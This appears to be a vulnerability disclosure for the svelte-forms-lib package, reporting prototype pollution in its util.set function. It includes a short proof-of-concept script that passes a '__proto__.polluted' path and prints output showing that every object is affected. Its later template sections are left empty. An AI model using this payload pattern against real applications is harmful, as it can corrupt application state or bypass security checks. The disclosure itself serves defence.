Prototype Pollution

[ready-research]

Summary

svelte-forms-lib package is vulnerable to Prototype Pollution. The set function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.
Reported in huntr https://www.huntr.dev/bounties/69aa6433-5e43-4a2c-a4e1-3671c255b11e/ (8 months ago)
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Steps to reproduce

// poc.mjs
import {util} from 'svelte-forms-lib/lib/util.js';
const obj = {};
console.log("Before : " + {}.polluted);
util.set(obj, "__proto__.polluted", 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

Result:

Before : undefined
After : Yes! Its Polluted

Example Project

What is the current bug behavior?

What is the expected correct behavior?

Relevant logs and/or screenshots

Possible fixes